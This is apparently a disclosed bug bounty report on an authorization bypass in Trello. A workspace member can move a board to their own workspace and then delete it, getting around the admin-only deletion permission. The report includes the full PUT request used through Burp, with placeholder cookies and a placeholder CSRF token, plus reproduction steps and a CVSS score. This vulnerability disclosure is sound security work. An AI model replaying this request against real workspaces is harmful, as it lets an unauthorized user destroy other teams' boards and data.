Summary by Trello
Workspace Board Authorization Bypass Vulnerability in Trello
Workspace Board Authorization Bypass Vulnerability in Trello
A Normal Workspace Member can bypass the restriction of Board Deletion Permision set by Workspace Admins, to delete any board in the workspace
trello.com
Web App
Attack Scenario
In a Premium Trello Workspace, the Workspace Admins can change permission as to who can delete public/private/workspaceVisible Boards.
There are three permission options for all the board visibility
If the Workspace Admins changes the permission so that only Workspace Admins can Delete Boards, then there are two restriction applied for Workspace Members.
All of this restriction can be bypassed and the Workspace Member can Move this Board to his own Workspace, which leads to the deletion of the board from the original workspace.
Steps to Reproduce
Workspace Owner Perspective
Workspace Member Perspective
5.A Workspace Member can bypass all this restriction by sending the below request using Burp, which will delete the Board from Original Workspace and moves it to a different Workspace which the Workspace Member Owns, bypassing the restriction for Deletion of Board by Workspace Members.
PUT /1/boards/67602d9ba379b5827eb9c49c HTTP/2
Host: trello.com
Cookie: <WORKSPACE-MEMBER-COOKIES>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://trello.com/b/zEsX5ZcQ/workspacememberboard001
Content-Type: application/json
X-Trello-Client-Version: build-214455
X-Trello-Traceid: 67602ccd2ddacfaff4d921cdcf8daff0
X-Trello-Task: delete-board
X-B3-Spanid: 974d9259cdb61e76
X-B3-Traceid: 67602ccd2ddacfaff4d921cdcf8daff0
Content-Length: 122
Origin: https://trello.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{
"idOrganization":"67601adaca94c108be43106b",
"dsc":"<WORKSPACE-MEMBER-CSRF-TOKEN>"
}
For the above request to be successful you need two IDs
6.After the Board is Deleted and Moved to a different Workspace Owned by the Workspace Member, he can then delete this Board from his own Workspace as well, thus ensuring that the Board is deleted forever.
Business Impact
Despite of the so many Restriction for Deleting a Workspace Board, a Workspace Member can bypass all the restrictions and delete the Board from the workspace, which is a breach of Access Control and comes under Vertical Privilege Escalation Bug Class.
CVSS SCORE
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N | CVSS = 6.5 (MEDIUM)